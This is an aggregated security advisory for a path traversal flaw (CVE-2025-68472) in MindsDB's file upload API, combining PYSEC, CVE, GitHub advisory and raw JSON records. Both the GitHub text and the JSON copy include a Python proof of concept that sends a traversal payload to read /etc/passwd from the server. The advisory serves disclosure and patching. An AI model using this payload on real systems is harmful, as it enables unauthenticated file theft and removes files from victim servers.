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PYSEC-2026-90

Vulnerability from pysec - Published: 2026-01-12 17:15 - Updated: 2026-05-20 09:19

Details

MindsDB is a platform for building artificial intelligence from enterprise data. Prior to version 25.11.1, an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url". Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks. This vulnerability is fixed in 25.11.1.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Impacted products

Name	purl
mindsdb	pkg:pypi/mindsdb

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CVE-2025-68472 (GCVE-0-2025-68472)

Vulnerability from cvelistv5 – Published: 2026-01-12 16:53 – Updated: 2026-02-20 16:17

Title

MindsDB has improper sanitation of filepath that leads to information disclosure and DOS

Summary

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-01-12 18:36 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-23 - Relative Path Traversal
CWE-36 - Absolute Path Traversal

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/mindsdb/mindsdb/security/advis…	x_refsource_CONFIRM
https://www.bluerock.io/post/cve-2025-68472-minds…

Impacted products

1 product

Vendor	Product	Version
mindsdb	mindsdb	Affected: < 25.11.1

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GHSA-QQHF-PM3J-96G7

Vulnerability from github – Published: 2026-01-12 16:10 – Updated: 2026-06-06 00:36

Summary

MindsDB has improper sanitation of filepath that leads to information disclosure and DOS

Details

Summary

BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data.

Details

The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":

data = request.json (line ~104) accepts attacker input without validation.
file_path = os.path.join(temp_dir_path, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores temp_dir_path and targets the attacker-specified location.
The resulting path is handed to ca.file_controller.save_file(...), which wraps FileReader(path=source_path) (mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(file_path, ...) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.

PoC

Run MindsDB in Docker: bash docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest
Execute the exploit from the host (save as poc.py and run with python poc.py): ```python # poc.py import requests, json

base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch

r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text)

q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT * FROM files.leak_rel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2)) `` 3. The SQL response returns the contents of/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory. 4. Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal

Impact

Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

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        "name": "MindsDB"
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    "nvd_published_at": "2026-01-12T17:15:52Z",
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  "details": "### Summary\n\n[BlueRock](https://bluerock.io/) discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB\u2019s storage, exposing sensitive data. \n\n### Details\nThe PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `\"url\"`:\n\n- `data = request.json` (line ~104) accepts attacker input without validation.\n- `file_path = os.path.join(temp_dir_path, data[\"file\"])` (line ~178) creates the path inside a temporary directory, but if `data[\"file\"]` is absolute (e.g., `/home/secret.csv`), `os.path.join` ignores `temp_dir_path` and targets the attacker-specified location.\n- The resulting path is handed to `ca.file_controller.save_file(...)`, which wraps `FileReader(path=source_path)` (`mindsdb/interfaces/file/file_controller.py:66`), causing the application to read the contents of that arbitrary file. The subsequent `shutil.move(file_path, ...)` call also relocates the victim file into MindsDB\u2019s managed storage.\n\nOnly multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to `clear_filename` or equivalent checks.\n\n### PoC\n1. Run MindsDB in Docker:\n   ```bash\n   docker pull mindsdb/mindsdb:latest\n   docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest\n   ```\n2. Execute the exploit from the host (save as poc.py and run with `python poc.py`):\n   ```python\n   # poc.py\n   import requests, json\n\n   base = \"http://127.0.0.1:47334\"\n   payload = {\"file\": \"../../../../../etc/passwd\"}  # no source_type -\u003e hits vulnerable branch\n\n   r = requests.put(f\"{base}/api/files/leak_rel\", json=payload, timeout=10)\n   print(\"PUT status:\", r.status_code, r.text)\n\n   q = requests.post(\n       f\"{base}/api/sql/query\",\n       json={\"query\": \"SELECT * FROM files.leak_rel\"},\n       timeout=10,\n   )\n   print(\"SQL response:\", json.dumps(q.json(), indent=2))\n   ```\n3. The SQL response returns the contents of `/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB\u2019s storage directory.\n4. Detailed report is available on BlueRock\u0027s blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal\n\n### Impact\n- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.",
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